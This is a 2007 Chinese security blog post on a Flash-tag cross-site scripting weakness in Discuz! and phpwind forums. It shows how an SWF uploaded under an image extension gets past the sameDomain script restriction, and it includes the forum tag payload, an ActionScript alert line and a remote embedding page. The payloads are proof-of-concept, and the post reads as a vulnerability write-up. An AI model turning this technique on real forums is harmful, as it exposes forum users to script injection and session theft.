2007年12月9日星期日

[Tips]Discuz!/phpwind flash标签的xss

author: superhei
date: 2007-12-2
team:http://www.ph4nt0m.org
blog:http://superhei.blogbus.com

Text Mode

flash标签的xss在以前的是很流行的,以前只要随便一个调用外面的一个swf就ok了,现在的则都不可以直接使用调用外码的swf了,这个是因为一般都设置了allowScriptAccess[1][2].比如dz的codz:

dz60904\upload\forumdata\cache\cache_bbcodes.php [同样出现在cache_viewthread.php cache_post.php cache_blog.php里]

00017: 0 => '<marquee width="90%" behavior="alternate" scrollamount="3">\\1</marquee>',
00018: 1 => '
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" width="550" height="400"><param name="allowScriptAccess" value="sameDomain"><param name="movie" value="\\1"><param name="quality" value="high"><param name="bgcolor" value="#ffffff"><embed src="\\1" quality="high" bgcolor="#ffffff" width="550" height="400" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /></object>',
00019: 2 => '
<href="http://wpa.qq.com/msgrd?V=1&Uin=\\1&amp;Site=[Discuz!]&amp;Menu=yes" target="_blank"><img src="http://wpa.qq.com/pa?p=1:\\1:1" border="0"></a>',


代码:<param name="allowScriptAccess" value="sameDomain"> allowScriptAccess设置为sameDomain,也就是说同一个域下的swf,如果我们可以upload一个swf就可以了 :)。不过dz默认是不容许swf后缀上传的,这里我们可以利用swf的一个特性,在html调用flash时,flash可以用任意后缀,哈哈我们可以用gif等上传[而且dz在图片上传是直接可以看到文件名的,但是其他的文件不性]。假如我们上传的flash文件为:

attachments/month_0712/20071201_3565df327b79cfbb4b8eSeGHJthq7ZBB.jpg

另:在dz里upload的图片都用了getimagesize(),在手册了:

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 <IMG> 标记中的 height/width 文本字符串包括了swf。

然后我们用flash标签:

[flash]http://sameDomain.com/dz60904/upload/attachments/month_0712/20071201_3565df327b79cfbb4b8eSeGHJthq7ZBB.jpg[/flash]

swf我用的as2代码:

getURL("javascript:alert(document.domain)", "_self", "GET");

ok,我们的js运行了。

phpwind和Discuz!差不多一样,只是Discuz!默认不开[flash],phpwind默认开了。

如果dz没有开[flash],我们有没有办法利用呢?因为html代码我们可以远程自己写来调用,比如在a.com上写test.htm调用b.com[也就是目标上的flash:

http://b.com/dz60904/upload/attachments/month_0712/20071201_3565df327b79cfbb4b8eSeGHJthq7ZBB.jpg]

代码如下:
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="zh-CN" lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>xss</title>
</head>
<body bgcolor="#ffffff">
<!-- 影片中使用的 URL-->
<!-- 影片中使用的文本-->
<!-- saved from url=(0013)about:internet -->
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" width="550" height="400" id="xss" align="middle">
<param name="allowScriptAccess" value="always" />
<param name="movie" value="http://b.com/dz60904/upload/attachments/month_0712/20071201_3565df327b79cfbb4b8eSeGHJthq7ZBB.jpg" /><param name="quality" value="high" /><param name="bgcolor" value="#ffffff" /><embed src="xss.swf" quality="high" bgcolor="#ffffff" width="550" height="400" name="xss" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
</object>
</body>
</html>


不过经常测试得到的document.domain为a.com,而不是flash所在的b.com :(。

参考:
[1]:
http://www.adobe.com/devnet/flashplayer/articles/flash_player_8_security.pdf

[2]:http://www.wisec.it/sectou.php?id=464dd35c8c5ad